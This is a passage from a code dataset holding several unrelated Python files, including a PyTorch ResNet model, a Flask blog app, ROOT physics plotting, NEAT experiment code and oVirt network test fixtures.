Increase in Profits: \" + str(max_pld[0]) + \" ($\" + str(int(max_pld[1])) + \")\")\n print(\"Greatest Decrease in Profits: \" + str(min_pld[0]) + \" ($\" + str(int(min_pld[1])) + \")\") \n print(\"'''\")\n\n\noutput_path = os.path.join('Financial_Analysis.txt')\nwith open(output_path, 'w', newline='') as fao: \n\n fao.write(\"----------------------------- \\n\")\n fao.write(\"Financial Analysis \\n\")\n fao.write(\"----------------------------- \\n\")\n fao.write(f\"Total Months: {total_months} \\n\")\n fao.write(f\"Total: ${int(total_pl)} \\n\")\n fao.write(f\"Average Change: ${round(ave_plch,2)} \\n\")\n fao.write(\"Greatest Increase in Profits: \" + str(max_pld[0]) + \" ($\" + str(int(max_pld[1])) + \") \\n\")\n fao.write(\"Greatest Decrease in Profits: \" + str(min_pld[0]) + \" ($\" + str(int(min_pld[1])) + \") \\n\")","sub_path":"PyBank/main_otxt.py","file_name":"main_otxt.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"45446032","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self, in_planes, planes, stride=1):\n super(BasicBlock, self).__init__()\n self.conv1 = nn.Conv2d(in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False)\n self.bn1 = nn.BatchNorm2d(planes)\n self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=1, padding=1, bias=False)\n self.bn2 = nn.BatchNorm2d(planes)\n\n self.shortcut = nn.Sequential()\n if stride != 1 or in_planes != self.expansion * planes:\n self.shortcut = nn.Sequential(\n nn.Conv2d(in_planes, self.expansion * planes, kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(self.expansion * planes)\n )\n\n def forward(self, x):\n out = F.relu(self.bn1(self.conv1(x)))\n out = self.bn2(self.conv2(out))\n out += self.shortcut(x)\n out = F.relu(out)\n return out\n\n\nclass Bottleneck(nn.Module):\n expansion = 4\n\n def __init__(self, in_planes, planes, stride=1):\n super(Bottleneck, self).__init__()\n self.conv1 = nn.Conv2d(in_planes, planes, kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm2d(planes)\n self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride, padding=1, bias=False)\n self.bn2 = nn.BatchNorm2d(planes)\n self.conv3 = nn.Conv2d(planes, self.expansion * planes, kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(self.expansion * planes)\n\n self.shortcut = nn.Sequential()\n if stride != 1 or in_planes != self.expansion * planes:\n self.shortcut = nn.Sequential(\n nn.Conv2d(in_planes, self.expansion * planes, kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(self.expansion * planes)\n )\n\n def forward(self, x):\n out = F.relu(self.bn1(self.conv1(x)))\n out = F.relu(self.bn2(self.conv2(out)))\n out = self.bn3(self.conv3(out))\n out += self.shortcut(x)\n out = F.relu(out)\n return out\n\n\nclass ResNet(nn.Module):\n def __init__(self, block, num_blocks, strides=[1, 2, 2, 2], plane=64, num_classes=10):\n super(ResNet, self).__init__()\n self.in_planes = plane\n self.in_planes_1 = plane\n\n self.conv1 = nn.Conv2d(3, plane, kernel_size=3, stride=1, padding=1, bias=False)\n self.bn1 = nn.BatchNorm2d(plane)\n self.layer1 = self._make_layer(block, self.in_planes_1 * np.prod(strides[:1]), num_blocks[0], stride=strides[0])\n self.layer2 = self._make_layer(block, self.in_planes_1 * np.prod(strides[:2]), num_blocks[1], stride=strides[1])\n self.layer3 = self._make_layer(block, self.in_planes_1 * np.prod(strides[:3]), num_blocks[2], stride=strides[2])\n self.layer4 = self._make_layer(block, self.in_planes_1 * np.prod(strides[:4]), num_blocks[3], stride=strides[3])\n self.pool = nn.AdaptiveAvgPool2d((1, 1))\n self.linear = nn.Linear(self.in_planes_1 * np.prod(strides[:4]) * block.expansion, num_classes)\n\n def _make_layer(self, block, planes, num_blocks, stride):\n strides = [stride] + [1] * (num_blocks - 1)\n layers = []\n for stride in strides:\n layers.append(block(self.in_planes, planes, stride))\n self.in_planes = planes * block.expansion\n return nn.Sequential(*layers)\n\n def forward(self, x):\n out = F.relu(self.bn1(self.conv1(x)))\n out = self.layer1(out)\n out = self.layer2(out)\n out = self.layer3(out)\n out = self.layer4(out)\n out = self.pool(out)\n out = self.linear(out.flatten(1))\n return out\n\n\ndef ResNet10(channel=64, num_blocks=[2, 2, 2, 2], strides=[1, 2, 2, 2], num_classes=10, **kwargs):\n return ResNet(BasicBlock, num_blocks, strides, channel, num_classes)\n\n\ndef ResNet18():\n return ResNet(BasicBlock, [2, 2, 2, 2])\n\n\ndef ResNet34():\n return ResNet(BasicBlock, [3, 4, 6, 3])\n\n\ndef ResNet50():\n return ResNet(Bottleneck, [3, 4, 6, 3])\n\n\ndef ResNet101():\n return ResNet(Bottleneck, [3, 4, 23, 3])\n\n\ndef ResNet152():\n return ResNet(Bottleneck, [3, 8, 36, 3])\n\n\ndef test():\n net = ResNet10(16, [1, 1, 1, 1])\n y = net(torch.randn(1, 3, 32, 32))\n print(sum(p.numel() for p in net.parameters() if p.requires_grad))\n print(y.size())\n","sub_path":"models/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":4413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"463925463","text":"from ROOT import TFile, gROOT, gStyle, TH1F, TH2F, kBlue, kRed, TCanvas, TLatex, TLegend\nimport os, numpy, copy\nfrom officialStyle import officialStyle\n\n\ngROOT.SetBatch(True)\nofficialStyle(gStyle)\ngStyle.SetPadLeftMargin(0.18)\ngStyle.SetPadBottomMargin(0.15)\n\ndef returnRange(hist):\n \n bin = []\n \n for ibin in range(0, hist.GetNbinsX()+1):\n proj = hist.ProjectionY(\"ProjY_\"+str(ibin), ibin, ibin+1)\n if proj.GetEntries() > 100:\n bin.append(ibin)\n\n return min(bin), max(bin)\n\n\n\ndef LegendSettings(leg):\n leg.SetBorderSize(0)\n leg.SetFillColor(10)\n leg.SetLineColor(0)\n leg.SetFillStyle(0)\n leg.SetTextSize(0.035)\n leg.SetTextFont(42)\n\ncolours = [2, 3, 4, 6, 7, 8]\n\nprocess = 'DY'\n#process = 'VBF'\n\ndirectory = 'sample_20140513'\n\nsamples = []\nif process=='DY':\n samples = ['DY_Standard', 'DY_Timing', 'DY_3DandTiming']\nelif process=='VBF':\n samples = ['VBF_Standard125', 'VBF_Timing125', 'VBF_3DandTiming125']\n\n\nplots = ['tau_iso_neutralPt','tau_iso_neutralPtWeight1','tau_iso_neutralPtWeight2','tau_iso_neutralPtWeight1NQ','tau_iso_neutralPtWeight2NQ']\n\nplotleg = ['#Sigma_{neutral} p_{T} [GeV]', \n '#Sigma_{neutral, weight1} p_{T} [GeV]',\n '#Sigma_{neutral, weight1 NQ} p_{T} [GeV]',\n '#Sigma_{neutral, weight2} p_{T} [GeV]',\n '#Sigma_{neutral, weight2 NQ} p_{T} [GeV]',\n ]\n\nbarrel_endcap = ['all', 'barrel', 'endcap']\n\n\nhist2d_save = [[[i for i in range(len(samples))] for j in range(len(barrel_endcap))] for k in range(len(plots))]\nhist_save = [[[i for i in range(len(samples))] for j in range(len(barrel_endcap))] for k in range(len(plots))]\nf1_save = [[[i for i in range(len(samples))] for j in range(len(barrel_endcap))] for k in range(len(plots))]\n\n\nfor iplot, plot in enumerate(plots):\n for ibe, isbarrel in enumerate(barrel_endcap):\n\n hist = [i for i in range(len(samples))]\n hist2d = [i for i in range(len(samples))]\n f1 = [i for i in range(len(samples))]\n \n cname = 'can_' + plot + '_' + isbarrel\n can = TCanvas(cname, cname)\n\n for ii, sample in enumerate(samples):\n\n tfile = TFile('{dir}/{sample}/TauTreeProducer/TauTreeProducer_tree.root'.format(dir=directory, sample=sample))\n tree = tfile.Get('TauTreeProducer')\n \n hname = 'h_' + sample + '_' + isbarrel + '_' + plot\n hist[ii] = TH2F(hname, hname, 80,0,80, 60,0,60)\n# hist[ii].Sumw2()\n \n if isbarrel=='all':\n tree.Draw(plot + ':tau_iso_sumPUPt >> ' + hname, 'TMath::Abs(parton_pdgId)==15 && tau_decayModeFinding==1')\n elif isbarrel=='barrel':\n tree.Draw(plot + ':tau_iso_sumPUPt >> ' + hname, 'TMath::Abs(parton_pdgId)==15 && tau_decayModeFinding==1 && TMath::Abs(tau_eta) < 1.479')\n else:\n tree.Draw(plot + ':tau_iso_sumPUPt >> ' + hname, 'TMath::Abs(parton_pdgId)==15 && tau_decayModeFinding==1 && TMath::Abs(tau_eta) > 1.479')\n\n\n fitmin, fitmax = returnRange(hist[ii])\n hist2d[ii] = hist[ii].ProfileX()\n hist2d[ii].Fit(\"pol1\",\"\",\"\",fitmin, fitmax)\n f1[ii] = hist2d[ii].GetFunction(\"pol1\");\n \n hist2d[ii].GetXaxis().SetTitle('#Sigma_{PU} p_{T} [GeV]')\n hist2d[ii].GetYaxis().SetTitle(plotleg[iplot])\n hist2d[ii].SetMaximum(20)\n hist2d[ii].SetMinimum(0)\n hist2d[ii].SetMarkerSize(0.1)\n hist2d[ii].SetMarkerColor(colours[ii])\n hist2d[ii].SetLineColor(colours[ii])\n \n tname = process + ', ' + isbarrel\n hist2d[ii].SetTitle(tname)\n\n hist_save[iplot][ibe][ii] = copy.deepcopy(hist[ii])\n hist2d_save[iplot][ibe][ii] = copy.deepcopy(hist2d[ii])\n f1_save[iplot][ibe][ii] = copy.deepcopy(f1[ii])\n\n\n leg = TLegend(0.2,0.75,0.7,0.9)\n LegendSettings(leg)\n\n for ii, sample in enumerate(samples):\n if ii==0:\n hist2d_save[iplot][ibe][ii].Draw()\n else:\n hist2d_save[iplot][ibe][ii].Draw('same')\n \n f1_save[iplot][ibe][ii].SetLineColor(colours[ii])\n f1_save[iplot][ibe][ii].SetLineStyle(2)\n f1_save[iplot][ibe][ii].SetRange(hist2d_save[iplot][ibe][ii].GetXaxis().GetXmin(), hist2d_save[iplot][ibe][ii].GetXaxis().GetXmax())\n f1_save[iplot][ibe][ii].Draw('same')\n\n lname = sample.replace('_', ' ').replace('3DandTiming', '3D & Timing').replace('125','') + ', (' + str(\"{0:.3f}\".format(f1_save[iplot][ibe][ii].GetParameter(1))) + ', ' + str(\"{0:.1f}\".format(round(f1_save[iplot][ibe][ii].GetParameter(0),1))) + ')'\n leg.AddEntry(hist2d_save[iplot][ibe][ii], lname, 'l')\n\n leg.Draw()\n\n sname = 'plot/isolation_' + plot + '_' + isbarrel + '_' + process + '_neutral_vs_puiso.gif'\n can.SaveAs(sname)\n\n\nfile = TFile('root/Myroot_' + process + '.root','recreate')\n\nfor iplot, plot in enumerate(plots):\n for ibe, isbarrel in enumerate(barrel_endcap):\n for ii, sample in enumerate(samples):\n hist_save[iplot][ibe][ii].Write()\n hist2d_save[iplot][ibe][ii].Write()\n\n \nfile.Write()\nfile.Close()\n","sub_path":"AnalysisSpecific/TauIsolation/fitting.py","file_name":"fitting.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"615848333","text":"import pickle\nfrom indra.tools.model_checker import ModelChecker\n#from manual_stmts import stmts as manual_stmts\nfrom assemble_pysb import set_context, add_observables\nimport process_data\nfrom indra.util import write_unicode_csv\nfrom indra.assemblers import PysbAssembler\nimport make_stmts_for_checking as make_stmts\n\nprint(\"Processing data\")\n\ndata = process_data.read_data(process_data.data_file)\ndata_genes = process_data.get_all_gene_names(data)\n\n\nprint('Loading data statements.')\ndata_stmts, data_values = make_stmts.run(dec_thresh=0.5, inc_thresh=1.5)\n\nwith open('korkut_stmts_no_ev.pkl', 'rb') as f:\n print('Loading korkut_model_pysb statements.')\n base_stmts = pickle.load(f)\n\n# Merge the sources of statements\n# stmts = manual_stmts + base_stmts\nstmts = base_stmts\n#stmts = manual_stmts\n\n# Assemble model\npa = PysbAssembler()\npa.add_statements(stmts)\nmodel = pa.make_model()\n\n#with open('korkut_pysb.pkl', 'wb') as f:\n# pickle.dump(pa.model, f)\n\n# Preprocess and assemble the pysb model\n#model = assemble_pysb(combined_stmts, data_genes, '')\n\nmc = ModelChecker(model)\n\n# Iterate over each drug/ab statement subset\nresults = []\nfor drug_name, ab_dict in data_stmts.items():\n for ab, stmt_list in ab_dict.items():\n value = data_values[drug_name][ab]\n # For each subset, check statements; if any of them checks out, we're\n # good and can move on to the next group\n print(\"-- Checking the effect of %s on %s --\" % (drug_name, ab))\n relation = 'positive' if value > 1 else 'negative'\n path_found = 0\n path = ''\n for stmt in stmt_list:\n print(\"Checking: %s\" % stmt)\n result = mc.check_statement(stmt)\n if result:\n print(\"Path found, skipping rest\")\n path_found = 1\n path = str(result)\n break\n else:\n print(\"No path found\")\n\n results.append((drug_name, ab, relation, value, path_found, path))\nwrite_unicode_csv('model_check_results.csv', results)\n","sub_path":"models/phase3_eval/check_pysb_model.py","file_name":"check_pysb_model.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"511838588","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nFixtures for host_network_api\n\"\"\"\n\nimport pytest\n\nimport config as network_api_conf\nimport helper\nfrom art.rhevm_api.tests_lib.high_level import (\n hosts as hl_hosts,\n networks as hl_networks\n)\nfrom art.rhevm_api.tests_lib.low_level import (\n events as ll_events,\n hosts as ll_hosts\n)\nfrom art.unittest_lib import testflow\nimport rhevmtests.networking.config as conf\n\n\n@pytest.fixture(scope=\"class\")\ndef remove_network(request):\n \"\"\"\n Remove network.\n \"\"\"\n nets_to_remove = request.node.cls.nets_to_remove\n assert hl_networks.remove_networks(\n positive=True, networks=nets_to_remove, data_center=conf.DC_0\n )\n\n\n@pytest.fixture(scope=\"class\")\ndef update_host_to_another_cluster(request):\n \"\"\"\n Update host to another cluster.\n \"\"\"\n def fin():\n \"\"\"\n Move host to original cluster.\n \"\"\"\n assert ll_hosts.update_host(\n positive=True, host=conf.HOST_0_NAME, cluster=conf.CL_0\n )\n request.addfinalizer(fin)\n\n assert ll_hosts.update_host(\n positive=True, host=conf.HOST_0_NAME, cluster=network_api_conf.SYNC_CL\n )\n\n\n@pytest.fixture(scope=\"class\")\ndef manage_ip_and_refresh_capabilities(request):\n \"\"\"\n Set temporary IP on interface and refresh capabilities.\n \"\"\"\n host = conf.HOST_0_NAME\n for net, actual_ip, actual_netmask in (\n request.node.cls.manage_ip_list\n ):\n actual_netmask = actual_netmask or \"24\"\n testflow.setup(\n \"Set temporary IP on %s with: IP=%s, Netmask=%s\",\n net, actual_ip, actual_netmask\n )\n helper.manage_host_ip(\n interface=net, ip=actual_ip, netmask=actual_netmask\n )\n last_event = ll_events.get_max_event_id()\n assert ll_hosts.refresh_host_capabilities(\n host=host, start_event_id=last_event\n )\n\n\n@pytest.fixture(scope=\"class\")\ndef reboot_host(request):\n \"\"\"\n Reboot host\n \"\"\"\n host = conf.HOSTS[2]\n vds = conf.VDS_HOSTS[2]\n testflow.setup(\"Reboot host %s\", host)\n assert hl_hosts.deactivate_host_if_up(host=host, host_resource=vds)\n vds.add_power_manager(pm_type=conf.SSH_TYPE)\n vds.get_power_manager().restart()\n for is_connective in (False, True):\n vds.executor().wait_for_connectivity_state(\n positive=is_connective\n )\n\n assert hl_hosts.activate_host_if_not_up(host=host, host_resource=vds)\n","sub_path":"art/tests/rhevmtests/networking/host_network_api/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"270560325","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/8/29 09:05\n# @Author : Maloney\n# @Site : jma@192.168.126.124\n# @File : mnist_loader.py\n# @Software: PyCharm\n\n#### Libraries\n\n# Standard library\n\nimport pickle\n\nimport gzip\n\n# Third-party libraries\n\nimport numpy as np\n\n\ndef load_data():\n f = gzip.open('neural-networks-and-deep-learning/data/mnist.pkl.gz', 'rb')\n training_data, validation_data, test_data = pickle.load(f)\n f.close()\n return (training_data, validation_data, test_data)\n\n\ndef load_data_wrapper():\n tr_d, va_d, te_d = load_data()\n\n training_inputs = [np.reshape(x, (784, 1)) for x in tr_d[0]]\n\n training_results = [vectorized_result(y) for y in tr_d[1]]\n\n training_data = zip(training_inputs, training_results)\n\n validation_inputs = [np.reshape(x, (784, 1)) for x in va_d[0]]\n\n validation_data = zip(validation_inputs, va_d[1])\n\n test_inputs = [np.reshape(x, (784, 1)) for x in te_d[0]]\n\n test_data = zip(test_inputs, te_d[1])\n\n return (training_data, validation_data, test_data)\n\n\ndef vectorized_result(j):\n e = np.zeros((10, 1))\n\n e[j] = 1.0\n\n return e\n","sub_path":"NetWork/mnist_loader.py","file_name":"mnist_loader.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"259564721","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 3 18:30:01 2019\n\n@author: lenovo\n\"\"\"\n#def palindrome_number(list_a):\n # c=0\nn=input(\"Enter the number\").split(\" \")\n#these are the t\nfor i in n:\n if i == i[::-1]:\n print(i)\nt=n\nrev=0\n#this is define the rewverse\nrem = i % 10\n#it used as the remainder\nrev=rev*10+rem\n#it is find the reverse number\ni=i/10\n#if rev==n\nif rev == i:\n print(\"number is palindrome\")\nelse:\n print(\"number is not palindrome\")","sub_path":"day02/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"478169671","text":"import os\nimport time\nimport neat\nfrom gym_multi_robot import visualize\nfrom gym_multi_robot.object_serializer import ObjectSerializer\n\n\nclass SingleExperiment:\n \"\"\" This class gives the functions required to run a single experiment.\"\"\"\n\n def __init__(self, learning_config, exp_runner, num_generations, exp_name='', num_trails=1, base_directory=''):\n self.exp_name = exp_name\n self.learning_config = learning_config\n self.exp_runner = exp_runner\n self.num_generations = num_generations\n self.num_trails = num_trails\n self.winner = None # Stores the winner of the last experiment.\n self.stats = None # Stores the stats about the last experiment.\n self.base_directory = base_directory\n\n def eval_genomes(self, genomes, config):\n start_time = time.time()\n\n for genome_id, genome in genomes:\n\n self.process_genome(genome, config)\n # sub rewards.\n\n end_time = time.time()\n time_diff = end_time - start_time\n avg_time = time_diff / len(genomes)\n\n print(\"generation total_runtime: %s seconds, avg_runtime: %s seconds\" % (time_diff, avg_time))\n\n def process_genome(self, genome, config):\n \"\"\" This function processes a genome to finds its fitness and possibly other details. \"\"\"\n genome.fitness = self.exp_runner.run_multiple_trails(genome, config, self.num_trails)\n\n def run(self, name=None):\n \"\"\" Runs the experiment.\n Name parameter can be used to update the name of the experiment.\n \"\"\"\n if name is not None:\n self.exp_name = name\n\n # Create the population, which is the top-level object for a NEAT run.\n p = neat.Population(self.learning_config)\n\n # Add a stdout reporter to show progress in the terminal.\n p.add_reporter(neat.StdOutReporter(True))\n self.stats = neat.StatisticsReporter()\n p.add_reporter(self.stats)\n\n # Run experiments\n try:\n self.winner = p.run(self.eval_genomes, self.num_generations)\n except Exception:\n raise\n finally:\n self.winner = p.best_genome\n\n self.output_stats()\n self.output_winner()\n\n\n def output_winner(self):\n \"\"\"This function outputs the current winner in graph and in pickle file.\"\"\"\n self.init_base_directory()\n\n net_filename = self.base_directory + 'graph_winner' + str(self.exp_name)\n genome_filename = self.base_directory + 'winner' + str(self.exp_name)\n\n if self.exp_runner is not None:\n self.exp_runner.draw(self.winner, self.learning_config, net_filename)\n\n ObjectSerializer.serialize(self.winner, genome_filename)\n\n print(self.winner)\n\n def output_stats(self):\n \"\"\" This function outputs the statistics in figures and in reusable objects.\"\"\"\n self.init_base_directory()\n\n fitness_out_file = self.base_directory + 'avg_fitness_' + str(self.exp_name) + '.svg'\n species_out_file = self.base_directory + 'species_' + str(self.exp_name) + '.svg'\n stats_out_file = self.base_directory + 'stats' + str(self.exp_name)\n\n visualize.visualize_stats(self.stats, fitness_out_file, species_out_file)\n ObjectSerializer.serialize(self.stats, stats_out_file)\n\n def init_base_directory(self):\n \"\"\" This function checks whether the base directory exists and creates it if it doesn't. \"\"\"\n\n if self.base_directory != '' and not os.path.exists(self.base_directory):\n os.makedirs(self.base_directory)\n","sub_path":"examples/experiment_template.py","file_name":"experiment_template.py","file_ext":"py","file_size_in_byte":3579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"650884717","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2010 United States Government as represented by the\n# Administrator of the National Aeronautics and Space Administration.\n# Copyright 2011 Red Hat, Inc.\n# Copyright (c) 2012 Samsung SDS Co., LTD\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom synaps import flags\nfrom synaps.utils import strtime\nfrom synaps import log as logging\nfrom synaps.exception import RpcInvokeException\nimport uuid\n\nimport pika, json\n\nLOG = logging.getLogger(__name__)\nFLAGS = flags.FLAGS\n\nPUT_METRIC_DATA_MSG_ID = 0x0001\nPUT_METRIC_ALARM_MSG_ID = 0x0002\nDISABLE_ALARM_ACTIONS = 0x0003\nENABLE_ALARM_ACTIONS = 0x0004\nDELETE_ALARMS_MSG_ID = 0x0005\nSET_ALARM_STATE_MSG_ID = 0x0006\nCHECK_METRIC_ALARM_MSG_ID = 0x0010 \n\n\nclass RemoteProcedureCall(object):\n def __init__(self):\n self.connect()\n \n def connect(self):\n host = FLAGS.get('rabbit_host')\n port = FLAGS.get('rabbit_port')\n try:\n LOG.info(_(\"connecting to rabbit_host %s %d\") % (host, port))\n\n self.conn = pika.BlockingConnection(\n pika.ConnectionParameters(\n host=FLAGS.get('rabbit_host'),\n port=FLAGS.get('rabbit_port'),\n credentials=pika.PlainCredentials(\n FLAGS.get('rabbit_userid'),\n FLAGS.get('rabbit_password')\n ),\n virtual_host=FLAGS.get('rabbit_virtual_host'),\n )\n )\n \n self.channel = self.conn.channel()\n queue_args = {\"x-ha-policy\" : \"all\" }\n self.channel.queue_declare(queue='metric_queue', durable=True,\n arguments=queue_args)\n except Exception as e:\n raise RpcInvokeException()\n \n def send_msg(self, message_id, body):\n \"\"\"\n \n \n Args:\n message_id: int\n ex) PUT_METRIC_DATA_MSG_ID (0x0001)\n PUT_METRIC_ALARM_MSG_ID (0x0002)\n ...\n body: dict object (will be converted into json format)\n \n \"\"\"\n if type(message_id) is not int:\n raise RpcInvokeException()\n \n if not self.conn.is_open:\n self.connect()\n\n message_uuid = str(uuid.uuid4()) \n body.setdefault('message_id', message_id)\n body.setdefault('message_uuid', message_uuid)\n \n self.channel.basic_publish(\n exchange='', routing_key='metric_queue', body=json.dumps(body),\n properties=pika.BasicProperties(delivery_mode=2)\n )\n \n LOG.info(_(\"send_msg - id(%03d), %s\") % (message_id, message_uuid))\n LOG.debug(_(\"send_msg - body(%s)\") % str(body))\n","sub_path":"synaps-api/synaps/rpc/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"118433031","text":"import time\n\nfrom flask import Flask\nfrom flask_admin import Admin\nfrom flask_admin.contrib.sqla import ModelView\nfrom flask_babelex import Babel\n\nimport config\nfrom model import db\nfrom model.blog import Blog\nfrom model.reply import Reply\nfrom model.user import User\nfrom route import csrf\nfrom route.routes_index import main as index_routes\nfrom route.routes_detail import main as detail_routes\n\n\ndef formatted_time(input):\n \"\"\"\n Jinja2 filter\n :param input: timestamp\n :return: formatted time\n \"\"\"\n\n time_format = r'%Y/%m/%d'\n localtime = time.localtime(int(input))\n formatted = time.strftime(time_format, localtime)\n return formatted\n\n\ndef time_count(input):\n \"\"\"\n Jinja2 filter\n :param input: timestamp\n :return: generated current time minus input and formatted\n \"\"\"\n num = int(time.time())-input\n if num < 60:\n return '{} 秒'.format(num)\n elif 60 < num < 3600:\n return '{} 分钟'.format(num//60)\n elif 3600 < num < 86400:\n return '{} 小时'.format(num//3600)\n else:\n return '{} 天'.format(num//86400)\n\n\ndef current_app():\n \"\"\"\n Flask main enter\n :return: Flask app\n \"\"\"\n app = Flask(__name__)\n\n app.secret_key = config.secret_key\n\n app.config['WTF_CSRF_SECRET_KEY'] = config.csrf_key\n app.config['SQLALCHEMY_DATABASE_URI'] = config.db_url\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n app.add_template_filter(formatted_time)\n app.add_template_filter(time_count)\n\n db.init_app(app)\n csrf.init_app(app)\n\n register_routes(app)\n return app\n\n\ndef register_routes(app):\n \"\"\"\n Register routes and add prefix\n :param app: Flask app\n :return: Flask app\n \"\"\"\n app.register_blueprint(index_routes)\n app.register_blueprint(detail_routes, url_prefix='/blog')\n\n\nif __name__ == '__main__':\n app = current_app()\n\n app.config['TEMPLATE_AUTO_RELOAD'] = True\n app.jinja_env.auto_reload = True\n\n app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\n # 本地化，admin后台中文\n babel = Babel(app)\n app.config['BABEL_DEFAULT_LOCALE'] = 'zh_CN'\n\n admin = Admin(app, name=u'管理后台', template_mode='bootstrap3')\n admin.add_view(ModelView(User, db.session))\n admin.add_view(ModelView(Blog, db.session))\n admin.add_view(ModelView(Reply, db.session))\n\n config = dict(\n host='localhost',\n port=3000,\n debug=True\n )\n\n app.run(**config)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"60437745","text":"\ndef solve(string,n,z):\n if len(string) == 1 and string[0] == \"+\" :\n print(\"Case #\", z+1, \": \",n , sep = '');\n return n;\n if string[len(string)-1] == \"+\" :\n solve(string[0:len(string)-1],n,z);\n else :\n tempString = [];\n for j in string:\n tempString.append(j);\n for i in range(len(tempString)) :\n if tempString[i] == \"+\" :\n tempString[i] = \"-\";\n else :\n tempString[i] = \"+\";\n string = ''.join(tempString);\n \n solve(string,n+1,z);\n\t\t\ncases = int(input());\n\nfor i in range(cases) :\n string = input();\n if len(string) == 1 :\n \tif string[0] == \"-\" :\n \t\tprint(\"Case #\", i+1, \": 1\", sep = '');\n \telse :\n \t\tprint(\"Case #\", i+1, \": 0\", sep = '')\n \tcontinue;\n #Check if all values are same\n if string == \"-\" * len(string) :\n \tprint(\"Case #\", i+1, \": 1\", sep = '');\n \tcontinue;\n elif string == \"+\" * len(string) :\n \tprint(\"Case #\", i+1, \": 0\", sep = '');\n \tcontinue;\n #Check if all values except last are same\n if string[len(string)-1] == \"-\" and string[0:len(string)-2] == \"+\" * (len(string)-2) :\n \tprint(\"Case #\", i+1, \": 2\", sep = '');\n \tcontinue;\n elif string[len(string)-1] == \"+\" and string[0:len(string)-2] == \"-\" * (len(string)-2) :\n \tprint(\"Case #\", i+1, \": 1\", sep = '');\n \tcontinue;\n solve(string,0,i);\n","sub_path":"codes/CodeJamCrawler/16_0_2_neat/16_0_2_Marmik_Revenge Of PanCakes.py","file_name":"16_0_2_Marmik_Revenge Of PanCakes.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"425817546","text":"# Import necessary libraries\nimport pandas as pd\nfrom sklearn import model_selection\nfrom model import TitanicModel\nfrom tensorflow import keras\nfrom keras.utils import to_categorical\n\ndef load_and_prep_data(data_path, isTrainingSet):\n\n # Load dataset\n X_train_orig = pd.read_csv(data_path)\n\n # View dataset\n print(X_train_orig.head())\n\n # Separate the Y i.e output from the training dataset only.\n Y_train_orig = None\n if isTrainingSet:\n Y_train_orig = X_train_orig['Survived']\n #print(Y_train_orig.head())\n # Drop unnecessary columns\n dropCols = ['PassengerId', 'Survived', 'Name', 'Ticket', 'Cabin']\n else:\n dropCols = ['PassengerId', 'Name', 'Ticket', 'Cabin']\n X_train = X_train_orig.drop(dropCols, axis=1)\n #print(X_train.head())\n #print(X_train.info())\n\n # Separate numerical and categorical features\n num_feat = X_train.select_dtypes('number').columns.values\n cat_feat = X_train.select_dtypes('object').columns.values\n X_num = X_train[num_feat]\n\n # Take age and category in range 1-3\n X_num.loc[ X_num['Fare'] <= 7.91, 'Fare'] = 0\n X_num.loc[(X_num['Fare'] > 7.91) & (X_num['Fare'] <= 14.454), 'Fare'] = 1\n X_num.loc[(X_num['Fare'] > 14.454) & (X_num['Fare'] <= 31), 'Fare'] = 2\n X_num.loc[ X_num['Fare'] > 31, 'Fare'] = 3\n #X_num['Fare'] = X_num['Fare'].astype(int)\n\n X_num.loc[ X_num['Age'] <= 16, 'Age'] = 0\n X_num.loc[(X_num['Age'] > 16) & (X_num['Age'] <= 32), 'Age'] = 1\n X_num.loc[(X_num['Age'] > 32) & (X_num['Age'] <= 48), 'Age'] = 2\n X_num.loc[(X_num['Age'] > 48) & (X_num['Age'] <= 64), 'Age'] = 3\n X_num.loc[ X_num['Age'] > 64, 'Age'] = 4\n #X_num['Age'] = X_num['Age'].astype(int)\n X_cat = X_train[cat_feat]\n\n # Data 